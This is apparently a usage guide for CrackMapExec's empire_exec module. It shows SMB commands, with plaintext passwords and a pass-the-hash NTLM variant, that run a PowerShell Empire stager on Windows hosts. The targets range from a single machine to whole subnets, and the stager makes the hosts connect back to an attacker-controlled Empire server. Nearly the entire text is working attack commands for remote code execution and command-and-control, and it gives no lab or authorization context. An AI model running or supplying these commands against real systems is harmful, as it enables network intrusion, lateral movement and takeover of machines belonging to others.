Module Usage

Here is how to use the empire_exec module while using the smb protocol:

Before running any of the commands below, we have to setup an Empire listener first and configure the Empire's RESTful API server. Steps on how to do that can be found here.

Then the following commands allow us to comfortably execute the Empire agent initial stager (launcher) on the target system(s). Note that in these examples we have setup a listener with name "https":

Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M empire_exec -o LISTENER=<name>

Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M empire_exec -o LISTENER=https
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M empire_exec -o LISTENER=https

Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M empire_exec -o LISTENER=https

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M empire_exec -o LISTENER=https
# cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M empire_exec -o LISTENER=https
The empire_exec module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme smb target_list.txt -u Administrator -p P@ss123 -d . -M empire_exec -o LISTENER=https
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M empire_exec -o LISTENER=https
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M empire_exec -o LISTENER=https

CrackMapExec will automatically connect to the Empire REST API, generate a PowerShell stager and execute it on the target system(s). We should now see agents connecting to our Empire server.
